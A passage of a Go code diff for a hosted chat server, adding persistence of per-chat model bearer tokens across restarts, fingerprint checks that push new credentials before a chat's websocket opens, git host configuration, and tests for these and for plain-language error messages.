serverKeyForm { + t.Fatalf("%q parsed as %x, %v", bad, got, err) + } + } +} + +// ── P1-7: A RESTART DOES NOT BREAK ATTACHED CHATS ── + +// A host that restarted and forgot its credentials is given a new bearer +// before the wire opens: the window sees no refusal, the host holds a new +// bearer, and the old one is ended. +func TestP1_7_AttachAfterHostRestartPushesBeforeTheWireOpens(t *testing.T) { + rg := newHostedRig(t) + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + id := rg.create(t, "santosh") + old := rg.host.tokenOf(id) + rg.host.adopt(id, "santosh") // the chats' host restarted and holds nothing + before := rg.host.count() + dial(t, srv, rg.tokens["santosh"], id).Close(websocket.StatusNormalClosure, "") + fresh := rg.host.tokenOf(id) + if fresh == "" || fresh == old || !strings.HasPrefix(fresh, mintedBearerPrefix) { + t.Fatalf("the host holds %q after the attach; want a new bearer (was %q)", fresh, old) + } + var order []string + for _, seen := range rg.host.requests()[before:] { + order = append(order, seen.method+" "+strings.TrimPrefix(seen.path, "/v1/sessions/"+id)) + } + if strings.Join(order, ",") != "GET ,PUT /credentials,GET /wire" { + t.Fatalf("the host was asked %v; want its row read, then the bearer pushed, then the wire", order) + } + if rg.model(old) != 401 || rg.model(fresh) != 200 { + t.Fatalf("the old bearer = %d and the new one = %d; want 401 and 200", rg.model(old), rg.model(fresh)) + } +} + +// A host that holds the organization's current bearer is pushed nothing. +func TestP1_7_AttachWithCurrentHostPushesNothing(t *testing.T) { + rg := newHostedRig(t) + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + id := rg.create(t, "santosh") + token := rg.host.tokenOf(id) + before := rg.host.count() + for i := 0; i < 3; i++ { + dial(t, srv, rg.tokens["santosh"], id).Close(websocket.StatusNormalClosure, "") + } + if len(rg.host.pushList()) != 1 || rg.host.tokenOf(id) != token { + t.Fatalf("an attach with a current host pushed: %+v", rg.host.pushList()) + } + for _, seen := range rg.host.requests()[before:] { + if seen.method == "PUT" || seen.method == "POST" { + t.Fatalf("an attach with a current host made a %s %s", seen.method, seen.path) + } + } + if rg.model(token) != 200 { + t.Fatal("the bearer stopped working") + } +} + +// The organization's server restarting changes nothing for an attached chat: the +// bearer the engine already holds is the one the server still recognises, and +// the attach pushes nothing. +func TestP1_7_AttachAfterOrgRestartKeepsTheEnginesToken(t *testing.T) { + rg := newHostedRig(t) + id := rg.create(t, "santosh") + token := rg.host.tokenOf(id) + rg.configure(t, func(*HostedConfig) {}) + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + dial(t, srv, rg.tokens["santosh"], id).Close(websocket.StatusNormalClosure, "") + if len(rg.host.pushList()) != 1 || rg.host.tokenOf(id) != token { + t.Fatalf("after the server restarted the attach pushed: %+v", rg.host.pushList()) + } + if rg.model(token) != 200 { + t.Fatal("the engine's bearer stopped working after the restart") + } +} + +// An organization that lost its saved table (the file is gone) still puts a +// chat right at its next attach: the host's bearer is one the server no longer +// knows, so it is replaced before the wire opens. +func TestP1_7_AttachAfterALostTableReplacesTheBearer(t *testing.T) { + rg := newHostedRig(t) + id := rg.create(t, "santosh") + old := rg.host.tokenOf(id) + if err := os.Remove(rg.file(hostedBearersFileName)); err != nil { + t.Fatal(err) + } + rg.configure(t, func(*HostedConfig) {}) + if rg.model(old) != 401 { + t.Fatal("a bearer the server has no row for was answered") + } + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + dial(t, srv, rg.tokens["santosh"], id).Close(websocket.StatusNormalClosure, "") + fresh := rg.host.tokenOf(id) + if fresh == old || rg.model(fresh) != 200 || len(rg.host.pushList()) != 2 { + t.Fatalf("after a lost table: host holds %q (was %q), pushes %+v", fresh, old, rg.host.pushList()) + } +} + +// What the org tells a chat's host about git rides the same body as the model +// access, only when the model address allows it to be derived, and carries no +// secret. +func TestP1_CredentialBodyCarriesGitOnlyWhenTheAddressAllowsIt(t *testing.T) { + fieldsOf := func(seen hostSeen) map[string]json.RawMessage { + t.Helper() + fields := map[string]json.RawMessage{} + if err := json.Unmarshal([]byte(seen.body), &fields); err != nil { + t.Fatalf("a push body that is not an object: %q", seen.body) + } + return fields + } + rg := newHostedRig(t) + id := rg.create(t, "santosh") + created := fieldsOf(rg.host.requests()[0]) + if string(created["id"]) != `"`+id+`"` || string(created["model_url"]) != `"`+rigModelURL+`"` || + string(created["git_url"]) != `"http://codeaf.test/v1/hosted/git"` || string(created["git_hosts"]) != `["https://github.com"]` || + !strings.HasPrefix(string(created["model_token"]), `"cmt_`) { + t.Fatalf("the create body = %s", rg.host.requests()[0].body) + } + // The operator's list is normalized: lower case, no slash, no repeats. + rg.configure(t, func(c *HostedConfig) { + c.GitHosts = []string{"HTTPS://GitHub.com/", "https://git.example.org:8443", "https://github.com", "ftp://nope", "https://x.test/path"} + }) + rg.create(t, "santosh") + last := rg.host.requests() + fields := fieldsOf(last[len(last)-1]) + if string(fields["git_hosts"]) != `["https://github.com","https://git.example.org:8443"]` { + t.Fatalf("git_hosts = %s", fields["git_hosts"]) + } + // A model address that does not end in /v1/model leaves git out entirely. + rg.configure(t, func(c *HostedConfig) { c.ModelURL = "http://codeaf.test/models" }) + rg.create(t, "santosh") + last = rg.host.requests() + fields = fieldsOf(last[len(last)-1]) + if _, ok := fields["git_url"]; ok { + t.Fatalf("git was offered with no address to derive it from: %s", last[len(last)-1].body) + } + if _, ok := fields["git_hosts"]; ok { + t.Fatalf("git hosts were offered with no address to derive it from: %s", last[len(last)-1].body) + } + // An origin that is not one is refused at start. + if err := (&HostedConfig{GitHosts: []string{"https://github.com/org"}}).Check(nil); err == nil || !strings.Contains(err.Error(), "CODEAF_HOSTED_GIT_HOSTS") { + t.Fatalf("a git host with a path checked as %v", err) + } + if err := (&HostedConfig{GitHosts: []string{"https://github.com", "http://localhost:3000"}}).Check(nil); err != nil { + t.Fatalf("two good origins checked as %v", err) + } +} + +// ── P1-9: PLAIN WORDS ── + +// Every sentence the key routes and the start of a chat say on their own is one +// plain sentence with none of the words a person has no use for. +func TestP1_9_PlainWordsOfTheKeyRoutes(t *testing.T) { + banned := []string{"uid", "sandbox", "sessionhost", "fence", "landlock", "daemon", "bearer", "token", "kek", "dek", "proxy"} + plain := func(name, words string) { + t.Helper() + if !strings.HasSuffix(words, ".") || strings.Contains(words, "\n") { + t.Fatalf("%s: %q is not one plain sentence", name, words) + } + for _, word := range banned { + if strings.Contains(strings.ToLower(words), word) { + t.Fatalf("%s says %q, which has %q in it", name, words, word) + } + } + } + for name, words := range map[string]string{ + "cannot keep": hostedKeysCannotKeep, "no such key": hostedKeysNoSuchKey, "too large": hostedKeysTooLarge, + "bad request": hostedKeysBadRequest, "not stored": hostedKeysNotStored, "not started": hostedNotStarted, "sign in": hostedSignIn, + } { + plain(name, words) + } + // And through the real handler, with a server key set and without. + rg := newHostedRig(t) + drive := func(label string) { + t.Helper() + for _, step := range []struct { + name, who, method, path, body string + }{ + {"unknown provider", "santosh", "PUT", "/v1/hosted/keys/nope", `{"key":"sk-test-santosh-0001-aaaa"}`}, + {"save", "santosh", "PUT", "/v1/hosted/keys/openrouter", `{"key":"sk-test-santosh-0001-aaaa"}`}, + {"short key", "santosh", "PUT", "/v1/hosted/keys/openrouter", `{"key":"short"}`}, + {"bad body", "santosh", "PUT", "/v1/hosted/keys/openrouter", `nope`}, + } { + r := httptest.NewRequest(step.method, step.path, strings.NewReader(step.body)) + r.RemoteAddr = "192.0.2.1:1234" + if step.who != "" { + r.Header.Set("Authorization", "Bearer "+rg.tokens[step.who]) + } + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, r) + if w.Code == 204 { + continue + } + plain(label+": "+step.name, errorOf(t, w.Body.Bytes())) + } + } + drive("no server key") + rg.withServerKey(t, rigServerKey) + drive("server key") + // A chat that cannot be given model access. + _ = os.Remove(rg.file(hostedBearersFileName)) + if err := os.Mkdir(rg.file(hostedBearersFileName), 0o700); err != nil { + t.Fatal(err) + } + w := rg.send("santosh", "POST", "/v1/hosted/sessions", nil, nil) + if w.Code != 500 { + t.Fatalf("create with the save failing = %d %s", w.Code, w.Body) + } + plain("not started", errorOf(t, w.Body.Bytes())) +} diff --git a/internal/factory/serve/hosted_proxy.go b/internal/factory/serve/hosted_proxy.go index 1a1fdfa7c7..114a14d38b 100644 --- a/internal/factory/serve/hosted_proxy.go +++ b/internal/factory/serve/hosted_proxy.go @@ -18,6 +18,7 @@ import ( "time" "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/store" ) // This file lets a signed-in person run a whole chat on the organization's own @@ -42,6 +43,15 @@ type HostedConfig struct { // ModelUpstreamKey is the upstream's own key, empty for a keyless stub. ModelUpstreamKey string + // ServerKey is the raw text of CODEAF_SERVER_KEY: 64 hexadecimal + // characters, or the base64 of 32 bytes. It seals the keys people store on + // this server (credentials.go). Empty means this server keeps none, and + // every chat runs on the organization's key. + ServerKey string + // GitHosts are the origins a chat's git reaches through this server, for + // example https://github.com. Empty means github.com alone. + GitHosts []string + // state is made by hostedRoutes, on the handler's own copy of this // struct, so two handlers built from one Config never share bearers. state *hostedState @@ -57,6 +67,17 @@ type hostedState struct { transport *http.Transport modelTransport *http.Transport bearers bearerTable + // gitURL is the address a chat reaches git on, and gitHosts the origins it + // may name there. gitURL is empty when the model address does not end in + // /v1/model, which leaves git out of a chat entirely. + gitURL string + gitHosts []string + // keys is the sealed store of people's own keys, nil when this server has + // no store. keysErr says why it cannot be used (no server key, a wrong one, + // a file it cannot read): a person's key that EXISTS but cannot be opened + // is refused, never replaced by the organization's. + keys *personKeys + keysErr error // attach serializes the first attach of a chat with the push of its // credentials. Without it a second window attaching at the same moment // would see a live bearer, skip the push and reach the chat's host before @@ -149,13 +170,19 @@ func (h *Handler) hostedRoutes() { // to that one address and to nothing in between. transport := http.DefaultTransport.(*http.Transport).Clone() transport.Proxy = nil - own := *checked + // Everything the operator set is kept, not only the five settings the parse + // checks, so a setting that has no check of its own is not dropped here. + own := *hc + own.URL, own.Secret, own.ModelURL = checked.URL, checked.Secret, checked.ModelURL + own.ModelUpstream, own.ModelUpstreamKey = checked.ModelUpstream, checked.ModelUpstreamKey own.state = &hostedState{ base: base, upstream: upstream, secret: checked.Secret, modelURL: checked.ModelURL, upstreamKey: checked.ModelUpstreamKey, transport: transport, calls: &http.Client{Timeout: hostedCallTimeout, Transport: transport, // A redirect would carry the shared secret to wherever it points. CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}, + gitURL: hostedGitURL(checked.ModelURL), + gitHosts: hostedGitOrigins(&own), } // The model proxy is different on purpose: the upstream may be a vendor on // the internet, so it honours the environment's proxy settings, and it has @@ -163,10 +190,83 @@ func (h *Handler) hostedRoutes() { // its first byte. own.state.modelTransport = http.DefaultTransport.(*http.Transport).Clone() h.config.Hosted = &own + h.hostedLoadBearers(own.state) + h.hostedOpenKeys(own.state, own.ServerKey) h.route("/v1/hosted/sessions", map[string]http.HandlerFunc{http.MethodGet: h.hostedList, http.MethodPost: h.hostedCreate}) h.route("/v1/hosted/sessions/{id}", map[string]http.HandlerFunc{http.MethodGet: h.hostedGet, http.MethodDelete: h.hostedDelete}) h.route("/v1/hosted/sessions/{id}/stop", map[string]http.HandlerFunc{http.MethodPost: h.hostedStop}) h.read("/v1/hosted/sessions/{id}/wire", h.hostedWire) + h.route("/v1/hosted/keys", map[string]http.HandlerFunc{http.MethodGet: h.hostedKeyList}) + h.route("/v1/hosted/keys/{provider}", map[string]http.HandlerFunc{http.MethodPut: h.hostedKeyPut, http.MethodDelete: h.hostedKeyDelete}) + h.hostedGitRoutes() +} + +// hostedLoadBearers brings back the model access the chats already hold, from +// the store, and makes every later mint and revoke save the table. With no +// store the table stays in memory. A saved file that cannot be read starts the +// table empty and says so for the operator: an empty table only means each chat +// is given a new bearer at its next attach, which fails safe. +func (h *Handler) hostedLoadBearers(hs *hostedState) { + st := h.config.Store + if st == nil { + return + } + save := func(rows map[string]persistedRow) error { + out := make(map[string]store.HostedBearer, len(rows)) + for hash, row := range rows { + out[hash] = store.HostedBearer{Session: row.Session, Person: row.Person, Expires: row.Expires} + } + return st.SaveHostedBearers(out) + } + saved, err := st.HostedBearers() + if err != nil { + log.Printf("hosted chats: %v; starting with no saved model access", err) + saved = nil + } + rows := make(map[string]persistedRow, len(saved)) + for hash, row := range saved { + rows[hash] = persistedRow{Session: row.Session, Person: row.Person, Expires: row.Expires} + } + now := h.clock() + dropped := hs.bearers.load(rows, now) + hs.bearers.persist = save + // Rows that ran out while the server was off are removed from the file now + // and not left for the next mint to find. + if dropped > 0 || err != nil { + if err := hs.bearers.save(now); err != nil { + log.Printf("hosted chats: the saved model access could not be cleaned: %v", err) + } + } +} + +// hostedGitURL is where a chat reaches git: the model address with its +// /v1/model replaced by /v1/hosted/git. A model address that does not end that +// way (an operator who put the model somewhere else) leaves git off. +func hostedGitURL(modelURL string) string { + base, ok := strings.CutSuffix(modelURL, "/v1/model") + if !ok { + return "" + } + return base + "/v1/hosted/git" +} + +// credentialFields is what a chat's host is told about its model access (and +// git, when this server offers it): the model address, the chat's bearer and, +// when git is on, the git address and the origins it may reach. None of it is +// the person's own secret. +func (hs *hostedState) credentialFields(token string) map[string]any { + fields := map[string]any{"model_url": hs.modelURL, "model_token": token} + if hs.gitURL != "" { + fields["git_url"] = hs.gitURL + fields["git_hosts"] = hs.gitHosts + } + return fields +} + +// credentialBody is the body of a push of credentials to a chat's host. +func (hs *hostedState) credentialBody(token string) []byte { + body, _ := json.Marshal(hs.credentialFields(token)) + return body } // hostedPerson is the verified person behind a request, or a 401 written. The @@ -294,8 +394,15 @@ func (h *Handler) hostedCreate(w http.ResponseWriter, r *http.Request) { return } id := "hs_" + hex.EncodeToString(raw[:]) - token := hs.bearers.mint(id, person, h.clock()) - body, _ := json.Marshal(map[string]string{"id": id, "model_url": hs.modelURL, "model_token": token}) + token, err := hs.bearers.mint(id, person, h.clock()) + if err != nil { + log.Printf("hosted chats: a chat could not be started: %v", err) + h.fail(w, http.StatusInternalServerError, hostedNotStarted) + return + } + fields := hs.credentialFields(token) + fields["id"] = id + body, _ := json.Marshal(fields) status, header, data, err := hs.call(r.Context(), http.MethodPost, "/v1/sessions", person, body) // A bearer for a chat that was not made is ended at once; there is // nothing for it to belong to. @@ -359,7 +466,7 @@ func (h *Handler) hostedEnd(w http.ResponseWriter, r *http.Request, method, suff hostedRelay(w, status, header, body) } -// hostedWire joins a window to a chat. It makes sure the chat's host holds a +// hostedWire joins a window to a chat. It makes sure the chat's host holds the // live model bearer BEFORE the connection opens, then hands the connection // over: from there it only copies bytes and reads no frame, so what the window // and the chat say to each other is theirs alone. @@ -417,22 +524,47 @@ func (h *Handler) hostedWire(w http.ResponseWriter, r *http.Request) { }).ServeHTTP(w, r) } -// hostedPush gives the chat's host a model bearer when this is the first -// attach of a chat that has none live: after a stop, after the twelve hours, or -// after this server restarted. It does nothing when a live one is already -// there, so an ordinary re-attach costs the chats' host no extra call. It -// answers false when it wrote the reply itself. +// hostedPush makes sure the chat's host holds the model bearer this server +// believes in BEFORE a wire opens. It asks the host which bearer it holds (the +// host answers with a short fingerprint, never the bearer) and compares that +// with this server's own live bearer for the chat. Equal means nothing is +// pushed, so an ordinary re-attach costs one small read. Anything else, a host +// that restarted and forgot, a stop, the seven days running out, or this +// server's own table having been lost, mints a new bearer (which ends the old +// one) and pushes it first, so the chat's first use after any of those works +// and no person sees "no model access yet". The row is read as the person, so a +// chat that is not theirs is answered exactly as the host answers it, as one +// that does not exist. It answers false when it wrote the reply itself. func (h *Handler) hostedPush(w http.ResponseWriter, r *http.Request, hs *hostedState, id, person string) bool { hs.attach.Lock() defer hs.attach.Unlock() - token, minted, _ := hs.bearers.ensure(id, person, h.clock()) + status, header, data, err := hs.call(r.Context(), http.MethodGet, "/v1/sessions/"+id, person, nil) + if h.hostedFailed(w, status, err) { + return false + } + if status != http.StatusOK { + hostedRelay(w, status, header, data) + return false + } + var row struct { + ModelBearer string `json:"model_bearer"` + } + _ = json.Unmarshal(data, &row) + // The chat is theirs, so what their sign-in carries for git is kept for it. + h.keepSignInGitHub(r, person) + token, minted, err := hs.bearers.ensureCurrent(id, person, h.clock(), row.ModelBearer) + if err != nil { + log.Printf("hosted chats: a chat could not be given model access: %v", err) + h.fail(w, http.StatusInternalServerError, hostedNotStarted) + return false + } if !minted { - // Either a live bearer already stands, or it belongs to someone else - // and the chats' host is about to answer for that on its own. + // Either the host already holds the live bearer, or a live bearer + // belongs to someone else and the chats' host is about to answer for + // that on its own. return true } - body, _ := json.Marshal(map[string]string{"model_url": hs.modelURL, "model_token": token}) - status, header, data, err := hs.call(r.Context(), http.MethodPut, "/v1/sessions/"+id+"/credentials", person, body) + status, header, data, err = hs.call(r.Context(), http.MethodPut, "/v1/sessions/"+id+"/credentials", person, hs.credentialBody(token)) if h.hostedFailed(w, status, err) { hs.bearers.revokeToken(id, token) return false diff --git a/internal/factory/serve/hosted_proxy_test.go b/internal/factory/serve/hosted_proxy_test.go index 20d0db4c53..a5adabebda 100644 --- a/internal/factory/serve/hosted_proxy_test.go +++ b/internal/factory/serve/hosted_proxy_test.go @@ -27,6 +27,10 @@ type fakeChatHost struct { tokens map[string]string // chat id to the model token it holds, "" when none seen []hostSeen pushes []hostPush + // rowBearer, when set for a chat, is what its row reports as the model + // bearer fingerprint instead of the truth: a host that restarts between the + // org's read of the row and the wire. + rowBearer map[string]string } type hostSeen struct { @@ -71,6 +75,25 @@ func (f *fakeChatHost) tokenOf(id string) string { return f.tokens[id] } +// fingerprintOf is what a chat's row says about the model token the host holds: +// the first sixteen hex characters of its sha256, or "" when it holds none. +func fingerprintOf(token string) string { + if token == "" { + return "" + } + return bearerFingerprint(bearerHash(token)) +} + +// lieAboutBearer makes a chat's row report fingerprint whatever the host holds. +func (f *fakeChatHost) lieAboutBearer(id, fingerprint string) { + f.mu.Lock() + defer f.mu.Unlock() + if f.rowBearer == nil { + f.rowBearer = map[string]string{} + } + f.rowBearer[id] = fingerprint +} + func (f *fakeChatHost) pushList() []hostPush { f.mu.Lock() defer f.mu.Unlock() @@ -105,7 +128,7 @@ func (f *fakeChatHost) ServeHTTP(w http.ResponseWriter, r *http.Request) { var mine []map[string]string for id, owner := range f.owners { if owner == person { - mine = append(mine, map[string]string{"id": id, "state": "suspended"}) + mine = append(mine, map[string]string{"id": id, "state": "suspended", "model_bearer": fingerprintOf(f.tokens[id])}) } } f.mu.Unlock() @@ -126,8 +149,14 @@ func (f *fakeChatHost) ServeHTTP(w http.ResponseWriter, r *http.Request) { } switch { case len(parts) == 1 && r.Method == http.MethodGet: + f.mu.Lock() + fingerprint := fingerprintOf(f.tokens[id]) + if lie, ok := f.rowBearer[id]; ok { + fingerprint = lie + } + f.mu.Unlock() w.Header().Set("Content-Type", "application/json") - _, _ = io.WriteString(w, `{"id":"`+id+`","state":"suspended"}`+"\n") + _, _ = io.WriteString(w, `{"id":"`+id+`","state":"suspended","model_bearer":"`+fingerprint+`"}`+"\n") case len(parts) == 1 && r.Method == http.MethodDelete: f.mu.Lock() delete(f.owners, id) @@ -174,10 +203,14 @@ func (f *fakeChatHost) ServeHTTP(w http.ResponseWriter, r *http.Request) { } } +// jsonField is one string field of a JSON object; fields that are not strings +// (the list of git hosts a push now carries) are ignored. func jsonField(raw []byte, name string) string { - var row map[string]string + var row map[string]json.RawMessage _ = json.Unmarshal(raw, &row) - return row[name] + var value string + _ = json.Unmarshal(row[name], &value) + return value } // fakeUpstream stands in for the model endpoint behind /v1/model. @@ -611,20 +644,36 @@ func TestC1_WireProxyCarriesFramesBothWays(t *testing.T) { if len(got) != 2 || got[1].token == got[0].token || got[1].url != rigModelURL { t.Fatalf("after a stop the host was given %+v", got) } - // A host that forgot its credentials (it restarted) answers a wire with a - // refusal; the next attach must push again instead of finding a live bearer. + // A host that forgot its credentials (it restarted) says so in its row, so + // the next attach pushes again BEFORE the wire opens and the window never + // meets a refusal (P1-7). rg.host.adopt(id, "santosh") - ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) - defer cancel() - if _, resp, err := websocket.Dial(ctx, wireURL(srv, id), &websocket.DialOptions{HTTPHeader: http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}}}); err == nil || resp == nil || resp.StatusCode != 409 { - t.Fatalf("a host with no credentials let the wire open: %v %v", resp, err) - } healed := attach() roundTrip(healed) healed.Close(websocket.StatusNormalClosure, "") if got := rg.host.pushList(); len(got) != 3 { t.Fatalf("after the host forgot, the next attach pushed %d times in all: %+v", len(got), got) } + // And a host that forgets between the org's read of its row and the wire + // (the row still reported the org's bearer) answers the wire with a + // refusal; that ends the bearer, so the attach after it pushes again + // instead of finding a live bearer and skipping. + rg.host.lieAboutBearer(id, fingerprintOf(rg.host.tokenOf(id))) + rg.host.adopt(id, "santosh") + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + defer cancel() + if _, resp, err := websocket.Dial(ctx, wireURL(srv, id), &websocket.DialOptions{HTTPHeader: http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}}}); err == nil || resp == nil || resp.StatusCode != 409 { + t.Fatalf("a host with no credentials let the wire open: %v %v", resp, err) + } + rg.host.mu.Lock() + delete(rg.host.rowBearer, id) + rg.host.mu.Unlock() + again := attach() + roundTrip(again) + again.Close(websocket.StatusNormalClosure, "") + if got := rg.host.pushList(); len(got) != 4 { + t.Fatalf("after the host forgot between the row and the wire, the next attach pushed %d times in all: %+v", len(got), got) + } } // THE WIRE GOES THROUGH THE SERVER'S OWN HANDLER, not around it: a GET with no diff --git a/internal/factory/serve/model_proxy.go b/internal/factory/serve/model_proxy.go index 8e8e9e0829..390dd1cfa1 100644 --- a/internal/factory/serve/model_proxy.go +++ b/internal/factory/serve/model_proxy.go @@ -28,8 +28,10 @@ const ( // leaked one is recognisable in a paste and refused by any scanner. mintedBearerPrefix = "cmt_" // mintedBearerTTL is how long one bearer lives. A chat that outlasts it is - // given a fresh one at its next attach. - mintedBearerTTL = 12 * time.Hour + // given a fresh one at its next attach. It is seven days because the saved + // table lets a bearer outlive a restart, and a chat a person leaves for a + // weekend should still be answering on Monday. + mintedBearerTTL = 7 * 24 * time.Hour // modelRequestCap bounds the body one model call may carry, so a chat // cannot make this server buffer or relay an unbounded upload. modelRequestCap = 16 << 20 @@ -56,12 +58,28 @@ type bearerRow struct { revoked bool } -// bearerTable holds every live model bearer, in memory only. A restart of the -// server ends them all, which is safe: the next attach mints a new one. +// persistedRow is the part of a bearerRow that is saved: whose chat it is, whose +// person, and when it ends. It is keyed by the token's hash in the saved table +// and carries no token. +type persistedRow struct { + Session string + Person string + Expires time.Time +} + +// bearerTable holds every live model bearer. It is saved through persist when +// one is set, so a restart of this server does not end the bearers the running +// chats already hold; with no persist (a server with no store) it is memory +// only, and a restart ends them all, which is safe: the next attach mints a +// new one. type bearerTable struct { mu sync.Mutex rows map[string]*bearerRow // sha256 hex of the token current map[string]string // chat id to the hash of its newest token + // persist saves the live rows, replacing the saved table. It is called + // under mu after every mint and every revoke, with hashes only and never a + // token. Nil means memory only. + persist func(map[string]persistedRow) error } // bearerHash is the key a token is kept under. @@ -70,35 +88,136 @@ func bearerHash(token string) string { return hex.EncodeToString(sum[:]) } +// bearerFingerprint is the short form of a token's hash that a chat's host +// reports for the token it holds and this server compares against its own: the +// first sixteen hex characters. It identifies a token without being one. +func bearerFingerprint(hash string) string { + if len(hash) > 16 { + return hash[:16] + } + return hash +} + +// snapshotLocked is every row that should be saved: live ones only. With a +// non-zero now it also leaves out rows that have run out, so an expired row is +// not saved again. A zero now is for a revoke, which has no clock and leaves +// expiry to the next mint and to the load. +func (t *bearerTable) snapshotLocked(now time.Time) map[string]persistedRow { + out := make(map[string]persistedRow, len(t.rows)) + for hash, row := range t.rows { + if row.revoked || (!now.IsZero() && !now.Before(row.expires)) { + continue + } + out[hash] = persistedRow{Session: row.session, Person: row.person, Expires: row.expires} + } + return out +} + +// saveLocked saves after a revoke. It cannot fail the revoke, which has +// already happened in memory and is what stops the bearer from working, so a +// failure is logged for the operator. Every save writes the whole table, so +// the next mint or revoke puts the saved file right. +func (t *bearerTable) saveLocked() { + if t.persist == nil { + return + } + if err := t.persist(t.snapshotLocked(time.Time{})); err != nil { + log.Printf("hosted chats: the saved model access could not be updated, so a restart could bring back an ended one until the next save: %v", err) + } +} + +// load fills the table from the saved rows when the server starts. Expired rows +// are dropped, and a chat keeps only the row that ends last, because a chat +// never holds two bearers and a second row is one that should have been ended. +// It answers how many saved rows it did not keep, so the caller can save the +// table without them. +func (t *bearerTable) load(saved map[string]persistedRow, now time.Time) (dropped int) { + t.mu.Lock() + defer t.mu.Unlock() + t.rows, t.current = map[string]*bearerRow{}, map[string]string{} + for hash, row := range saved { + if len(hash) != 64 || row.Session == "" || row.Person == "" || !now.Before(row.Expires) { + dropped++ + continue + } + if best, ok := t.current[row.Session]; ok { + kept := t.rows[best] + dropped++ + if !row.Expires.After(kept.expires) && !(row.Expires.Equal(kept.expires) && hash < best) { + continue + } + delete(t.rows, best) + } + t.rows[hash] = &bearerRow{session: row.Session, person: row.Person, expires: row.Expires} + t.current[row.Session] = hash + } + return dropped +} + +// save writes the table as it stands, for the start-up that dropped rows. +func (t *bearerTable) save(now time.Time) error { + t.mu.Lock() + defer t.mu.Unlock() + if t.persist == nil { + return nil + } + return t.persist(t.snapshotLocked(now)) +} + // mint issues a bearer for one chat and ends the chat's previous one first, // so a chat never holds two. Expired and revoked rows are dropped here, which // is the only housekeeping the table needs: a dropped row answers "unknown", -// and unknown, expired and revoked are refused identically. -func (t *bearerTable) mint(session, person string, now time.Time) string { +// and unknown, expired and revoked are refused identically. It fails, and +// changes nothing, when the new table cannot be saved: a bearer that would not +// survive a restart is worse than a chat that is told to try again. +func (t *bearerTable) mint(session, person string, now time.Time) (string, error) { t.mu.Lock() defer t.mu.Unlock() return t.mintLocked(session, person, now) } -func (t *bearerTable) mintLocked(session, person string, now time.Time) string { +func (t *bearerTable) mintLocked(session, person string, now time.Time) (string, error) { if t.rows == nil { t.rows, t.current = map[string]*bearerRow{}, map[string]string{} } - t.revokeLocked(session) - for hash, row := range t.rows { - if row.revoked || !now.Before(row.expires) { - delete(t.rows, hash) - } - } var raw [32]byte // crypto/rand does not return an error on a supported platform; it stops // the program rather than hand back bytes that are not random. _, _ = rand.Read(raw[:]) token := mintedBearerPrefix + base64.RawURLEncoding.EncodeToString(raw[:]) hash := bearerHash(token) + oldHash, hadOld := t.current[session] + var old *bearerRow + wasRevoked := false + if hadOld { + if old = t.rows[oldHash]; old != nil { + wasRevoked = old.revoked + } + } + t.revokeLocked(session) t.rows[hash] = &bearerRow{session: session, person: person, expires: now.Add(mintedBearerTTL)} t.current[session] = hash - return token + if t.persist != nil { + if err := t.persist(t.snapshotLocked(now)); err != nil { + // Put it all back as it was: the previous bearer stands, and no + // trace of the new one is left in memory. + delete(t.rows, hash) + delete(t.current, session) + if hadOld { + t.current[session] = oldHash + if old != nil { + old.revoked = wasRevoked + } + } + return "", err + } + } + for hash, row := range t.rows { + if row.revoked || !now.Before(row.expires) { + delete(t.rows, hash) + } + } + return token, nil } // ensure answers whether the chat has a live bearer. It mints one only when @@ -107,15 +226,36 @@ func (t *bearerTable) mintLocked(session, person string, now time.Time) string { // another person: nothing is minted then, because minting would end the // owner's bearer, and a person who is not the owner must never be able to cost // the owner their model access by naming their chat. -func (t *bearerTable) ensure(session, person string, now time.Time) (token string, minted, mine bool) { +func (t *bearerTable) ensure(session, person string, now time.Time) (token string, minted, mine bool, err error) { t.mu.Lock() defer t.mu.Unlock() if hash, ok := t.current[session]; ok { if row := t.rows[hash]; row != nil && !row.revoked && now.Before(row.expires) { - return "", false, row.person == person + return "", false, row.person == person, nil } } - return t.mintLocked(session, person, now), true, true + token, err = t.mintLocked(session, person, now) + return token, err == nil, true, err +} + +// ensureCurrent is ensure for a chat whose host says which bearer it holds: it +// compares the host's fingerprint with the live bearer's and mints (ending the +// old one) unless they are equal, so a host that restarted and forgot, or an +// organization table that was lost, is put right before the chat is used and +// not after it fails. A live bearer that belongs to someone else is left alone, +// as in ensure. +func (t *bearerTable) ensureCurrent(session, person string, now time.Time, hostFingerprint string) (token string, minted bool, err error) { + t.mu.Lock() + defer t.mu.Unlock() + if hash, ok := t.current[session]; ok { + if row := t.rows[hash]; row != nil && !row.revoked && now.Before(row.expires) { + if row.person != person || (hostFingerprint != "" && hostFingerprint == bearerFingerprint(hash)) { + return "", false, nil + } + } + } + token, err = t.mintLocked(session, person, now) + return token, err == nil, err } // lookup fails closed: an unknown, expired or revoked token gets no row. @@ -132,13 +272,19 @@ func (t *bearerTable) lookup(token string, now time.Time) (bearerRow, bool) { return *row, true } -func (t *bearerTable) revokeLocked(session string) { - if hash, ok := t.current[session]; ok { - if row := t.rows[hash]; row != nil { - row.revoked = true - } - delete(t.current, session) +// revokeLocked ends a chat's current bearer in memory, and says whether it had +// one. Saving is the caller's, so that mint can save the ending and the new +// bearer in one write. +func (t *bearerTable) revokeLocked(session string) bool { + hash, ok := t.current[session] + if !ok { + return false + } + if row := t.rows[hash]; row != nil { + row.revoked = true } + delete(t.current, session) + return true } // revokeFor ends a chat's bearer on behalf of a person. A bearer that belongs @@ -153,7 +299,9 @@ func (t *bearerTable) revokeFor(session, person string) { return } } - t.revokeLocked(session) + if t.revokeLocked(session) { + t.saveLocked() + } } // revokeToken ends one specific token, but only while it is still the chat's @@ -163,7 +311,9 @@ func (t *bearerTable) revokeToken(session, token string) { t.mu.Lock() defer t.mu.Unlock() if hash, ok := t.current[session]; ok && hash == bearerHash(token) { - t.revokeLocked(session) + if t.revokeLocked(session) { + t.saveLocked() + } } } diff --git a/internal/factory/serve/model_proxy_test.go 